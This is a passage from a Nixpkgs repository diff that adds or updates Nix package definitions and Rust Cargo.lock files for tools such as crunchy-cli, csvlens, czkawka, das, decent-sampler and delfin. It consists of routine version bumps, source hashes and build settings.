"cb7764e35d4db8a7921e09562a0304bf2f93e0a51bfccee0bd0bb0b666b015ea" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbaa0368d4f1d2aaefc55b6fcfee13f41544ddf36801e793edbbfd7d7df075ef" + +[[package]] +name = "windows_i686_gnu" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" + +[[package]] +name = "windows_i686_gnu" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a28637cb1fa3560a16915793afb20081aba2c92ee8af57b4d5f28e4b3e7df313" + +[[package]] +name = "windows_i686_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" + +[[package]] +name = "windows_i686_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ffe5e8e31046ce6230cc7215707b816e339ff4d4d67c65dffa206fd0f7aa7b9a" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d6fa32db2bc4a2f5abeacf2b69f7992cd09dca97498da74a151a3132c26befd" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1a657e1e9d3f514745a572a6846d3c7aa7dbe1658c056ed9c3344c4109a6949e" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dff9641d1cd4be8d1a070daf9e3773c5f67e78b4d9d42263020c057706765c04" + +[[package]] +name = "winreg" +version = "0.50.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "524e57b2c537c0f9b1e69f1965311ec12182b4122e45035b1508cd24d2adadb1" +dependencies = [ + "cfg-if", + "windows-sys 0.48.0", +] + +[[package]] +name = "xattr" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "914566e6413e7fa959cc394fb30e563ba80f3541fbd40816d4c05a0fc3f2a0f1" +dependencies = [ + "libc", + "linux-raw-sys", + "rustix", +] diff --git a/pkgs/by-name/cr/crunchy-cli/package.nix b/pkgs/by-name/cr/crunchy-cli/package.nix new file mode 100644 index 0000000000000..5afefe4a37fce --- /dev/null +++ b/pkgs/by-name/cr/crunchy-cli/package.nix @@ -0,0 +1,49 @@ +{ lib +, stdenv +, darwin +, fetchFromGitHub +, openssl +, pkg-config +, rustPlatform +}: + +rustPlatform.buildRustPackage rec { + pname = "crunchy-cli"; + version = "3.2.5"; + + src = fetchFromGitHub { + owner = "crunchy-labs"; + repo = "crunchy-cli"; + rev = "v${version}"; + hash = "sha256-hzmTwUd+bQwr+5UtXKMalJZUDxOC5nhXNTXbYZN8xtA="; + }; + + cargoLock = { + lockFile = ./Cargo.lock; + outputHashes = { + "native-tls-0.2.11" = "sha256-+NeXsxuThKNOzVLBItKcuTAM/0zR/BzJGMKkuq99gBM="; + }; + }; + + nativeBuildInputs = lib.optionals stdenv.isLinux [ + pkg-config + ]; + + buildInputs = lib.optionals stdenv.isLinux [ + openssl + ] ++ lib.optionals stdenv.isDarwin [ + darwin.apple_sdk.frameworks.SystemConfiguration + ]; + + env = { + OPENSSL_NO_VENDOR = true; + }; + + meta = with lib; { + description = "Command-line downloader for Crunchyroll"; + homepage = "https://github.com/crunchy-labs/crunchy-cli"; + license = licenses.mit; + maintainers = with maintainers; [ stepbrobd ]; + mainProgram = "crunchy-cli"; + }; +} diff --git a/pkgs/by-name/cs/csvkit/package.nix b/pkgs/by-name/cs/csvkit/package.nix index bdd66083fd081..2c30a921c0b10 100644 --- a/pkgs/by-name/cs/csvkit/package.nix +++ b/pkgs/by-name/cs/csvkit/package.nix @@ -5,7 +5,7 @@ let pname = "csvkit"; - version = "1.3.0"; + version = "1.4.0"; pythonEnv = python3; in pythonEnv.pkgs.buildPythonApplication { @@ -14,7 +14,7 @@ pythonEnv.pkgs.buildPythonApplication { src = fetchPypi { inherit pname version; - hash = "sha256-uC5q4tK7QWUXEA7Lro1dhWoN/65CtxIIiBSityAeGvg="; + hash = "sha256-LP7EM2egXMXl35nJCZC5WmNtjPmEukbOePzuj/ynr/g="; }; propagatedBuildInputs = with pythonEnv.pkgs; [ diff --git a/pkgs/by-name/cs/csvlens/package.nix b/pkgs/by-name/cs/csvlens/package.nix index 81d56c70facc9..7781896d8d76e 100644 --- a/pkgs/by-name/cs/csvlens/package.nix +++ b/pkgs/by-name/cs/csvlens/package.nix @@ -5,16 +5,16 @@ rustPlatform.buildRustPackage rec { pname = "csvlens"; - version = "0.6.0"; + version = "0.7.0"; src = fetchFromGitHub { owner = "YS-L"; repo = "csvlens"; rev = "refs/tags/v${version}"; - hash = "sha256-KileDwgVnrbJ6sCv6d4PjnyYqrEmZK6JESYa7+rBneo="; + hash = "sha256-b8SuXx1uN9lBrCoEDLeudZwylHu+f2i/PQkfHA56YlE="; }; - cargoHash = "sha256-RtnfyhWfctByh8QqOMAu32xKSigP+lCIUIDfzj7kOkE="; + cargoHash = "sha256-SPUEK+8rLXBR8cdxN3qUajvN6PxbAZX2i7vYcyMzqyw="; meta = with lib; { description = "Command line csv viewer"; diff --git a/pkgs/by-name/cu/cursewords/package.nix b/pkgs/by-name/cu/cursewords/package.nix new file mode 100644 index 0000000000000..44c49cbb874bc --- /dev/null +++ b/pkgs/by-name/cu/cursewords/package.nix @@ -0,0 +1,35 @@ +{ lib +, python3Packages +, fetchFromGitHub +}: +python3Packages.buildPythonApplication rec { + pname = "cursewords"; + version = "1.1"; + + src = fetchFromGitHub { + owner = "thisisparker"; + repo = "cursewords"; + rev = "v${version}"; + hash = "sha256-Ssr15kSdWmyMFFG5uCregrpGQ3rI2cMXqY9+/a3gs84="; + }; + + nativeBuildInputs = [ + python3Packages.setuptools + python3Packages.wheel + ]; + + doCheck = false; # no tests + + propagatedBuildInputs = [ + python3Packages.blessed + ]; + + meta = with lib; { + homepage = "https://github.com/thisisparker/cursewords"; + description = "Graphical command line program for solving crossword puzzles in the terminal"; + mainProgram = "cursewords"; + license = licenses.agpl3Only; + maintainers = with maintainers; [ danderson ]; + platforms = platforms.all; + }; +} diff --git a/pkgs/by-name/cz/czkawka/package.nix b/pkgs/by-name/cz/czkawka/package.nix index f1f3fce9189a0..c700c9dd8fdf2 100644 --- a/pkgs/by-name/cz/czkawka/package.nix +++ b/pkgs/by-name/cz/czkawka/package.nix @@ -19,15 +19,15 @@ let pname = "czkawka"; - version = "6.1.0"; + version = "7.0.0"; src = fetchFromGitHub { owner = "qarmin"; repo = "czkawka"; rev = version; - hash = "sha256-uKmiBNwuu3Eduf0v3p2VYYNf6mgxJTBUsYs+tKZQZys="; + hash = "sha256-SOWtLmehh1F8SoDQ+9d7Fyosgzya5ZztCv8IcJZ4J94="; }; - cargoHash = "sha256-iBO99kpITVl7ySlXPkEg2YecS1lonVx9CbKt9WI180s="; + cargoHash = "sha256-GOX7V6NLEMP06nMeRZINwcWCaHwK6T3nkRKl4e25DPg="; in rustPlatform.buildRustPackage { inherit pname version src cargoHash; diff --git a/pkgs/tools/security/das/default.nix b/pkgs/by-name/da/das/package.nix index 2f7cd2fa98f7b..3ed340e72edb3 100644 --- a/pkgs/tools/security/das/default.nix +++ b/pkgs/by-name/da/das/package.nix @@ -5,24 +5,24 @@ python3.pkgs.buildPythonApplication rec { pname = "das"; - version = "0.3.8"; - format = "pyproject"; + version = "1.0.3"; + pyproject = true; src = fetchFromGitHub { owner = "snovvcrash"; repo = "DivideAndScan"; rev = "refs/tags/v${version}"; - hash = "sha256-a9gnEBTvZshw42M/GrpCgjZh6FOzL45aZqGRyeHO0ec="; + hash = "sha256-WZmWpcBqxsNH96nVWwoepFhsvdxZpYKmAjNd7ghIJMA="; }; postPatch = '' substituteInPlace pyproject.toml \ --replace 'networkx = "^2.8.4"' 'networkx = "*"' \ - --replace 'pandas = "^1.4.2"' 'pandas = "*"' + --replace 'netaddr = "^0.8.0"' 'netaddr = "*"' ''; - nativeBuildInputs = with python3.pkgs; [ - poetry-core + nativeBuildInputs = [ + python3.pkgs.poetry-core ]; propagatedBuildInputs = with python3.pkgs; [ @@ -47,5 +47,6 @@ python3.pkgs.buildPythonApplication rec { homepage = "https://github.com/snovvcrash/DivideAndScan"; license = licenses.bsd2; maintainers = with maintainers; [ fab ]; + mainProgram = "das"; }; } diff --git a/pkgs/by-name/dc/dc3dd/package.nix b/pkgs/by-name/dc/dc3dd/package.nix index 2744168adfc7d..511068fdc2198 100644 --- a/pkgs/by-name/dc/dc3dd/package.nix +++ b/pkgs/by-name/dc/dc3dd/package.nix @@ -23,10 +23,9 @@ stdenv.mkDerivation (finalAttrs: { makeFlags = [ "PREFIX=$out" + "CC=${stdenv.cc.targetPrefix}cc" ]; - configureFlags = lib.optionals (stdenv.hostPlatform.isAarch32 || stdenv.hostPlatform.isAarch64) [ "--build=arm" ]; - enableParallelBuilding = true; meta = with lib; { @@ -34,8 +33,7 @@ stdenv.mkDerivation (finalAttrs: { mainProgram = "dc3dd"; homepage = "https://sourceforge.net/projects/dc3dd/"; maintainers = with maintainers; [ d3vil0p3r ]; - platforms = platforms.unix; + platforms = platforms.linux; license = licenses.gpl3Plus; # Refer to https://sourceforge.net/p/dc3dd/code/HEAD/tree/COPYING - broken = stdenv.isDarwin; }; }) diff --git a/pkgs/by-name/dd/ddns-updater/package.nix b/pkgs/by-name/dd/ddns-updater/package.nix new file mode 100644 index 0000000000000..b68479082f659 --- /dev/null +++ b/pkgs/by-name/dd/ddns-updater/package.nix @@ -0,0 +1,37 @@ +{ + lib, + buildGoModule, + fetchFromGitHub, +}: +buildGoModule rec { + pname = "ddns-updater"; + version = "2.6.0"; + + src = fetchFromGitHub { + owner = "qdm12"; + repo = "ddns-updater"; + rev = "v${version}"; + hash = "sha256-NU6KXVjggsXVCKImGqbB1AXcph+ycRfkk5S4JNq0cHg="; + }; + + vendorHash = "sha256-Ibrv0m3Tz/5JbkHYmiJ9Ijo37fjHc7TP100K7ZTwO8I="; + + ldflags = [ + "-s" + "-w" + ]; + + subPackages = [ "cmd/updater" ]; + + postInstall = '' + mv $out/bin/updater $out/bin/ddns-updater + ''; + + meta = with lib; { + description = "Container to update DNS records periodically with WebUI for many DNS providers"; + homepage = "https://github.com/qdm12/ddns-updater"; + license = licenses.mit; + maintainers = with maintainers; [ delliott ]; + mainProgram = "ddns-updater"; + }; +} diff --git a/pkgs/by-name/de/debianutils/package.nix b/pkgs/by-name/de/debianutils/package.nix index 9d7952c8d379a..0f39abac32692 100644 --- a/pkgs/by-name/de/debianutils/package.nix +++ b/pkgs/by-name/de/debianutils/package.nix @@ -8,14 +8,14 @@ stdenv.mkDerivation (finalAttrs: { pname = "debianutils"; - version = "5.16"; + version = "5.17"; src = fetchFromGitLab { domain = "salsa.debian.org"; owner = "debian"; repo = "debianutils"; rev = "debian/${finalAttrs.version}"; - hash = "sha256-v0sEk0xnFjWsBoDBge57kbANn8afP2EAImgwFihq7bI="; + hash = "sha256-lm5pjofLm5RRntvtV+8GVyWZqMhmPs2iGHyvvKDQCvg="; }; nativeBuildInputs = [ diff --git a/pkgs/by-name/de/decent-sampler/package.nix b/pkgs/by-name/de/decent-sampler/package.nix index 449a589c90868..fdc7286672202 100644 --- a/pkgs/by-name/de/decent-sampler/package.nix +++ b/pkgs/by-name/de/decent-sampler/package.nix @@ -1,6 +1,9 @@ { lib , stdenv , fetchzip +, fetchurl +, makeDesktopItem +, copyDesktopItems , buildFHSEnv , alsa-lib , freetype @@ -10,22 +13,43 @@ let pname = "decent-sampler"; - version = "1.9.4"; + version = "1.10.0"; + + icon = fetchurl { + url = "https://archive.org/download/ds-256/DS256.png"; + hash = "sha256-SV8zY5QJ6uRSrLuGTmT1zwGoIIXCV9GD2ZNiqK+i1Bc="; + }; decent-sampler = stdenv.mkDerivation { inherit pname version; src = fetchzip { - # dropbox link: https://www.dropbox.com/sh/dwyry6xpy5uut07/AABBJ84bjTTSQWzXGG5TOQpfa\ - + # dropbox links: https://www.dropbox.com/sh/dwyry6xpy5uut07/AABBJ84bjTTSQWzXGG5TOQpfa\ url = "https://archive.org/download/decent-sampler-linux-static-download-mirror/Decent_Sampler-${version}-Linux-Static-x86_64.tar.gz"; - hash = "sha256-lTp/mukCwLNyeTcBT68eqa7aD0o11Bylbd93A5VCILU="; + hash = "sha256-KYCf/F2/ziuXDHim4FPZQBARiSywvQDJBzKbHua+3SM="; }; + nativeBuildInputs = [ copyDesktopItems ]; + + desktopItems = [ + (makeDesktopItem { + type = "Application"; + name = "decent-sampler"; + desktopName = "Decent Sampler"; + comment = "DecentSampler player"; + icon = "decent-sampler"; + exec = "decent-sampler"; + categories = [ "Audio" "AudioVideo" ]; + }) + ]; + installPhase = '' runHook preInstall install -Dm755 DecentSampler $out/bin/decent-sampler + install -Dm755 DecentSampler.so -t $out/lib/vst + install -d "$out/lib/vst3" && cp -r "DecentSampler.vst3" $out/lib/vst3 + install -Dm444 ${icon} $out/share/pixmaps/decent-sampler.png runHook postInstall ''; @@ -34,7 +58,7 @@ let in buildFHSEnv { - inherit pname version; + inherit (decent-sampler) pname version; targetPkgs = pkgs: [ alsa-lib @@ -46,6 +70,11 @@ buildFHSEnv { runScript = "decent-sampler"; + extraInstallCommands = '' + cp -r ${decent-sampler}/lib $out/lib + cp -r ${decent-sampler}/share $out/share + ''; + meta = with lib; { description = "An audio sample player"; longDescription = '' diff --git a/pkgs/by-name/de/decker/package.nix b/pkgs/by-name/de/decker/package.nix index 9e9be57ec2040..e5b0d2f88673c 100644 --- a/pkgs/by-name/de/decker/package.nix +++ b/pkgs/by-name/de/decker/package.nix @@ -9,13 +9,13 @@ stdenv.mkDerivation rec { pname = "decker"; - version = "1.32"; + version = "1.39"; src = fetchFromGitHub { owner = "JohnEarnest"; repo = "Decker"; rev = "v${version}"; - hash = "sha256-ch/Lit9qA6XEkPJdcQ03+r0asOKMwy0jRJMHG9VMEig="; + hash = "sha256-77x+LT+oTDtK4jszL3A9MAv9Hakovz47yFaiu8kFtTg="; }; buildInputs = [ diff --git a/pkgs/by-name/de/delfin/package.nix b/pkgs/by-name/de/delfin/package.nix index b494f6890d8ce..cdb73e2d8c791 100644 --- a/pkgs/by-name/de/delfin/package.nix +++ b/pkgs/by-name/de/delfin/package.nix @@ -21,29 +21,22 @@ stdenv.mkDerivation rec { pname = "delfin"; - version = "0.3.0"; + version = "0.4.0"; src = fetchFromGitea { domain = "codeberg.org"; owner = "avery42"; repo = "delfin"; rev = "v${version}"; - hash = "sha256-1Q3Aywf80CCXxorWSymwxJwMU1I4k7juDoWG5J18AXY="; + hash = "sha256-QwxdNPLL7PBokq5WaPylD4bBmXmJWyEQsWKN7DM2utk="; }; cargoDeps = rustPlatform.fetchCargoTarball { inherit src; name = "${pname}-${version}"; - hash = "sha256-/RZD4b7hrbC1Z5MtHDdib5TFEmxAh9odjNPo4m+FqK4="; + hash = "sha256-ElB9TbfmYn/A1Y3+oQ752zHqkC+f2RJPxfGXH0m5C/E="; }; - # upstream pinned the linker to clang/mold through 0.3.0, unnecessarily. - # remove this patch for version > 0.3.0. - # see: <https://codeberg.org/avery42/delfin/commit/e6deee77e9a6a6ba2425d1cc88dcbdeb471d1fdc> - postPatch = '' - rm .cargo/config.toml - ''; - nativeBuildInputs = [ appstream desktop-file-utils diff --git a/pkgs/by-name/di/dim/Cargo.lock b/pkgs/by-name/di/dim/Cargo.lock new file mode 100644 index 0000000000000..adb78aa7a9299 --- /dev/null +++ b/pkgs/by-name/di/dim/Cargo.lock @@ -0,0 +1,4179 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 3 + +[[package]] +name = "addr2line" +version = "0.21.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a30b2e23b9e17a9f90641c7ab1549cd9b44f296d3ccbf309d2863cfe398a0cb" +dependencies = [ + "gimli", +] + +[[package]] +name = "adler" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe" + +[[package]] +name = "aead" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b613b8e1e3cf911a086f53f03bf286f52fd7a7258e4fa606f0ef220d39d8877" +dependencies = [ + "generic-array", +] + +[[package]] +name = "aes" +version = "0.7.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e8b47f52ea9bae42228d07ec09eb676433d7c4ed1ebdf0f1d1c29ed446f1ab8" +dependencies = [ + "cfg-if", + "cipher", + "cpufeatures", + "opaque-debug", +] + +[[package]] +name = "aes-gcm" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df5f85a83a7d8b0442b6aa7b504b8212c1733da07b98aae43d4bc21b2cb3cdf6" +dependencies = [ + "aead", + "aes", + "cipher", + "ctr", + "ghash", + "subtle", +] + +[[package]] +name = "ahash" +version = "0.7.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a824f2aa7e75a0c98c5a504fceb80649e9c35265d44525b5f94de4771a395cd" +dependencies = [ + "getrandom", + "once_cell", + "version_check", +] + +[[package]] +name = "aho-corasick" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b2969dcb958b36655471fc61f7e416fa76033bdd4bfed0678d8fee1e2d07a1f0" +dependencies = [ + "memchr", +] + +[[package]] +name = "alloc-no-stdlib" +version = "2.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cc7bb162ec39d46ab1ca8c77bf72e890535becd1751bb45f64c597edb4c8c6b3" + +[[package]] +name = "alloc-stdlib" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94fb8275041c72129eb51b7d0322c29b8387a0386127718b096429201a5d6ece" +dependencies = [ + "alloc-no-stdlib", +] + +[[package]] +name = "android-tzdata" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e999941b234f3131b00bc13c22d06e8c5ff726d1b6318ac7eb276997bbb4fef0" + +[[package]] +name = "android_system_properties" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311" +dependencies = [ + "libc", +] + +[[package]] +name = "anitomy" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a5dbd2cfb14d3a442954182c1e8804a859e65143473ddfc7521e8766a4c44a9d" +dependencies = [ + "anitomy-sys", +] + +[[package]] +name = "anitomy-sys" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b1ade7dff1b0d6e91f90986f26538baa14f8143d9c5d79cae3f914070a2e30ea" +dependencies = [ + "cc", +] + +[[package]] +name = "anstream" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2ab91ebe16eb252986481c5b62f6098f3b698a45e34b5b98200cf20dd2484a44" +dependencies = [ + "anstyle", + "anstyle-parse", + "anstyle-query", + "anstyle-wincon", + "colorchoice", + "utf8parse", +] + +[[package]] +name = "anstyle" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7079075b41f533b8c61d2a4d073c4676e1f8b249ff94a393b0595db304e0dd87" + +[[package]] +name = "anstyle-parse" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "317b9a89c1868f5ea6ff1d9539a69f45dffc21ce321ac1fd1160dfa48c8e2140" +dependencies = [ + "utf8parse", +] + +[[package]] +name = "anstyle-query" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5ca11d4be1bab0c8bc8734a9aa7bf4ee8316d462a08c6ac5052f888fef5b494b" +dependencies = [ + "windows-sys 0.48.0", +] + +[[package]] +name = "anstyle-wincon" +version = "3.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0699d10d2f4d628a98ee7b57b289abbc98ff3bad977cb3152709d4bf2330628" +dependencies = [ + "anstyle", + "windows-sys 0.48.0", +] + +[[package]] +name = "async-compression" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f658e2baef915ba0f26f1f7c42bfb8e12f532a01f449a090ded75ae7a07e9ba2" +dependencies = [ + "brotli", + "flate2", + "futures-core", + "memchr", + "pin-project-lite", + "tokio", + "zstd", + "zstd-safe", +] + +[[package]] +name = "async-trait" +version = "0.1.74" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a66537f1bb974b254c98ed142ff995236e81b9d0fe4db0575f46612cb15eb0f9" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.39", +] + +[[package]] +name = "atoi" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "616896e05fc0e2649463a93a15183c6a16bf03413a7af88ef1285ddedfa9cda5" +dependencies = [ + "num-traits", +] + +[[package]] +name = "atty" +version = "0.2.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d9b39be18770d11421cdb1b9947a45dd3f37e93092cbf377614828a319d5fee8" +dependencies = [ + "hermit-abi 0.1.19", + "libc", + "winapi", +] + +[[package]] +name = "autocfg" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa" + +[[package]] +name = "axum" +version = "0.6.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3b829e4e32b91e643de6eafe82b1d90675f5874230191a4ffbc1b336dec4d6bf" +dependencies = [ + "async-trait", + "axum-core 0.3.4", + "axum-macros", + "base64 0.21.5", + "bitflags 1.3.2", + "bytes 1.5.0", + "futures-util", + "http 0.2.9", + "http-body 0.4.5", + "hyper", + "itoa", + "matchit", + "memchr", + "mime", + "multer", + "percent-encoding", + "pin-project-lite", + "rustversion", + "serde", + "serde_json", + "serde_path_to_error", + "serde_urlencoded", + "sha1", + "sync_wrapper", + "tokio", + "tokio-tungstenite", + "tower", + "tower-layer", + "tower-service", +] + +[[package]] +name = "axum" +version = "0.7.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "202651474fe73c62d9e0a56c6133f7a0ff1dc1c8cf7a5b03381af2a26553ac9d" +dependencies = [ + "async-trait", + "axum-core 0.4.1", + "bytes 1.5.0", + "futures-util", + "http 1.0.0", + "http-body 1.0.0", + "http-body-util", + "itoa", + "matchit", + "memchr", + "mime", + "percent-encoding", + "pin-project-lite", + "rustversion", + "serde", + "sync_wrapper", + "tower", + "tower-layer", + "tower-service", +] + +[[package]] +name = "axum-core" +version = "0.3.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "759fa577a247914fd3f7f76d62972792636412fbfd634cd452f6a385a74d2d2c" +dependencies = [ + "async-trait", + "bytes 1.5.0", + "futures-util", + "http 0.2.9", + "http-body 0.4.5", + "mime", + "rustversion", + "tower-layer", + "tower-service", +] + +[[package]] +name = "axum-core" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "77cb22c689c44d4c07b0ab44ebc25d69d8ae601a2f28fb8d672d344178fa17aa" +dependencies = [ + "async-trait", + "bytes 1.5.0", + "futures-util", + "http 1.0.0", + "http-body 1.0.0", + "http-body-util", + "mime", + "pin-project-lite", + "rustversion", + "sync_wrapper", + "tower-layer", + "tower-service", +] + +[[package]] +name = "axum-extra" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "523ae92256049a3b02d3bb4df80152386cd97ddba0c8c5077619bdc8c4b1859b" +dependencies = [ + "axum 0.7.2", + "axum-core 0.4.1", + "bytes 1.5.0", + "cookie", + "futures-util", + "http 1.0.0", + "http-body 1.0.0", + "http-body-util", + "mime", + "pin-project-lite", + "serde", + "tower", + "tower-layer", + "tower-service", +] + +[[package]] +name = "axum-macros" +version = "0.3.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cdca6a10ecad987bda04e95606ef85a5417dcaac1a78455242d72e031e2b6b62" +dependencies = [ + "heck", + "proc-macro2", + "quote", + "syn 2.0.39", +] + +[[package]] +name = "backtrace" +version = "0.3.69" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2089b7e3f35b9dd2d0ed921ead4f6d318c27680d4a5bd167b3ee120edb105837" +dependencies = [ + "addr2line", + "cc", + "cfg-if", + "libc", + "miniz_oxide", + "object", + "rustc-demangle", +] + +[[package]] +name = "barrage" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "be5951c75bdabb58753d140dd5802f12ff3a483cb2e16fb5276e111b94b19e87" +dependencies = [ + "concurrent-queue", + "event-listener", + "spin 0.9.8", +] + +[[package]] +name = "base64" +version = "0.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e1b586273c5702936fe7b7d6896644d8be71e6314cfe09d3167c95f712589e8" + +[[package]] +name = "base64" +version = "0.21.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "35636a1494ede3b646cc98f74f8e62c773a38a659ebc777a2cf26b9b74171df9" + +[[package]] +name = "bit_field" +version = "0.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc827186963e592360843fb5ba4b973e145841266c1357f7180c43526f2e5b61" + +[[package]] +name = "bitflags" +version = "1.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" + +[[package]] +name = "bitflags" +version = "2.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "327762f6e5a765692301e5bb513e0d9fef63be86bbc14528052b1cd3e6f03e07" + +[[package]] +name = "block-buffer" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" +dependencies = [ + "generic-array", +] + +[[package]] +name = "brotli" +version = "3.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "516074a47ef4bce09577a3b379392300159ce5b1ba2e501ff1c819950066100f" +dependencies = [ + "alloc-no-stdlib", + "alloc-stdlib", + "brotli-decompressor", +] + +[[package]] +name = "brotli-decompressor" +version = "2.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4e2e4afe60d7dd600fdd3de8d0f08c2b7ec039712e3b6137ff98b7004e82de4f" +dependencies = [ + "alloc-no-stdlib", + "alloc-stdlib", +] + +[[package]] +name = "bstr" +version = "1.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c79ad7fb2dd38f3dabd76b09c6a5a20c038fc0213ef1e9afd30eb777f120f019" +dependencies = [ + "memchr", + "serde", +] + +[[package]] +name = "bumpalo" +version = "3.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f30e7476521f6f8af1a1c4c0b8cc94f0bee37d91763d0ca2665f299b6cd8aec" + +[[package]] +name = "bytemuck" +version = "1.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "374d28ec25809ee0e23827c2ab573d729e293f281dfe393500e7ad618baa61c6" + +[[package]] +name = "byteorder" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b" + +[[package]] +name = "bytes" +version = "0.5.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0e4cec68f03f32e44924783795810fa50a7035d8c8ebe78580ad7e6c703fba38" + +[[package]] +name = "bytes" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a2bd12c1caf447e69cd4528f47f94d203fd2582878ecb9e9465484c4148a8223" + +[[package]] +name = "bzip2" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bdb116a6ef3f6c3698828873ad02c3014b3c85cadb88496095628e3ef1e347f8" +dependencies = [ + "bzip2-sys", + "libc", +] + +[[package]] +name = "bzip2-sys" +version = "0.1.11+1.0.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "736a955f3fa7875102d57c82b8cac37ec45224a07fd32d58f9f7a186b6cd4cdc" +dependencies = [ + "cc", + "libc", + "pkg-config", +] + +[[package]] +name = "cache-padded" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "981520c98f422fcc584dc1a95c334e6953900b9106bc47a9839b81790009eb21" + +[[package]] +name = "cast" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = 